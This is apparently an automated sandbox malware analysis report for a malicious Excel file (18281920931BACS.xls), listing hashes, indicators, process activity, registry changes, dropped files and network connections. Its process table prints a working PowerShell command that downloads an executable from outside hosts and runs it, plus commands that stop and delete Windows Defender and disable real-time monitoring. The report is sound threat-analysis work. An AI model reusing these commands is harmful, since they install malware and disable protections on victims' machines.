| File name: | 18281920931BACS.xls |
| Full analysis: | https://app.any.run/tasks/2967edf6-29c0-4675-b43d-f76af4eb42c7 |
| Verdict: | Malicious activity |
| Analysis date: | November 22, 2018, 13:23:44 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1251, Author: 12345, Last Saved By: user, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Oct 16 17:44:32 2018, Last Saved Time/Date: Thu Nov 22 11:00:33 2018, Security: 0 |
| MD5: | 0DC80640DD5AD68DD9428D740855B6CE |
| SHA1: | 7A1C883458EC5ADE5766378682293CCD6BBA6B1E |
| SHA256: | C73093F836F82708F8813434B7D17919972C1E80377B3778B8C1D912E3DEE6A6 |
| SSDEEP: | 1536:WxZ+RwPONXoRjDhIcp0fDlaGGx+cL26nA72IBFKZqdSSSak8GZ0m7:WxZ+RwPONXoRjDhIcp0fDlaGGx+cL26D |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 3576)
- cmd.exe (PID: 3180)
Starts CMD.EXE for commands execution
- EXCEL.EXE (PID: 2748)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2748)
Application was dropped or rewritten from another process
- tmp633.exe (PID: 2780)
- tmp733.exe (PID: 3708)
- tmp733.exe (PID: 2760)
Stops/Deletes Windows Defender service
- cmd.exe (PID: 2704)
- cmd.exe (PID: 3060)
- cmd.exe (PID: 2732)
- cmd.exe (PID: 2832)
Known privilege escalation attack
- DllHost.exe (PID: 2620)
Loads the Task Scheduler COM API
- tmp733.exe (PID: 3708)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 3688)
- powershell.exe (PID: 2708)
- tmp633.exe (PID: 2780)
- powershell.exe (PID: 2412)
- powershell.exe (PID: 2416)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 3688)
- tmp633.exe (PID: 2780)
- tmp733.exe (PID: 3708)
Executable content was dropped or overwritten
- powershell.exe (PID: 2708)
- tmp633.exe (PID: 2780)
Executes PowerShell scripts
- cmd.exe (PID: 3160)
- cmd.exe (PID: 2948)
INFO
Creates files in the user directory
- EXCEL.EXE (PID: 2748)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2748)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xls | | | Microsoft Excel sheet (48) |
|---|---|---|
| .xls | | | Microsoft Excel sheet (alternate) (39.2) |
EXIF
FlashPix
| Author: | 12345 |
|---|---|
| LastModifiedBy: | user |
| Software: | Microsoft Excel |
| CreateDate: | 2018:10:16 16:44:32 |
| ModifyDate: | 2018:11:22 11:00:33 |
| Security: | None |
| CodePage: | Windows Cyrillic |
| AppVersion: | 12 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: |
|
| HeadingPairs: |
|
| CompObjUserTypeLen: | 38 |
| CompObjUserType: | Microsoft Office Excel 2003 Worksheet |
Total processes
62
Monitored processes
21
Malicious processes
8
Suspicious processes
4
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2248 | sc stop WinDefend | C:\Windows\system32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 1062 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2344 | sc stop WinDefend | C:\Windows\system32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: A tool to aid in developing services for WindowsNT Exit code: 5 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2396 | sc delete WinDefend | C:\Windows\system32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: A tool to aid in developing services for WindowsNT Exit code: 5 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2412 | powershell Set-MpPreference -DisableRealtimeMonitoring $true | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2416 | powershell Set-MpPreference -DisableRealtimeMonitoring $true | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2620 | C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} | C:\Windows\system32\DllHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: COM Surrogate Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2704 | /c sc stop WinDefend | C:\Windows\system32\cmd.exe | — | tmp633.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 5 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2708 | powershell "<#main sub #>function putstr([string] $wstr){(new-object system.net.webclient).downloadfile($wstr,'C:\Users\admin\AppData\Local\Temp\tmp633.exe');<#update data#>start-process 'C:\Users\admin\AppData\Local\Temp\tmp633.exe';}try{putstr('https://www.pronetworksgroup.com/ruby.suby')}catch{putstr('http://oasincorp.com/ruby.suby')} | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2732 | /c sc stop WinDefend | C:\Windows\system32\cmd.exe | — | tmp733.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1062 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2748 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
Total events
2 675
Read events
2 321
Write events
347
Delete events
7
Modification events
| (PID) Process: | (2748) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | "t> |
Value: 22743E00BC0A0000010000000000000000000000 | |||
| (PID) Process: | (2748) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2748) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2748) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel |
| Operation: | write | Name: | MTTT |
Value: BC0A000000A5399E6682D40100000000 | |||
| (PID) Process: | (2748) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete value | Name: | "t> |
Value: 22743E00BC0A0000010000000000000000000000 | |||
| (PID) Process: | (2748) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (2748) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (2748) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2748) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2748) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\1398F8 |
| Operation: | write | Name: | 1398F8 |
Value: 04000000BC0A00003200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C003100380032003800310039003200300039003300310042004100430053002E0078006C007300000000001F00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C000100000000000000709E389F6682D401F8981300F898130000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
Executable files
2
Suspicious files
12
Text files
3
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2748 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR94A2.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3688 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KLHY8ADR3MOCTPH39QCB.temp | — | |
MD5:— | SHA256:— | |||
| 2708 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\65HVD2NUU6YT49GLSE3Q.temp | — | |
MD5:— | SHA256:— | |||
| 2412 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E8PDEMHG8EFJDVGZVSYH.temp | — | |
MD5:— | SHA256:— | |||
| 2416 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6NNCQZXTMC655BGL3DFI.temp | — | |
MD5:— | SHA256:— | |||
| 2748 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 3688 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF139d9b.TMP | binary | |
MD5:— | SHA256:— | |||
| 2748 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2748 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\18281920931BACS.xls.LNK | lnk | |
MD5:— | SHA256:— | |||
| 2708 | powershell.exe | C:\Users\admin\AppData\Local\Temp\tmp633.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2708 | powershell.exe | 190.8.176.63:443 | www.pronetworksgroup.com | Colombia Hosting | CO | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.pronetworksgroup.com |
| unknown |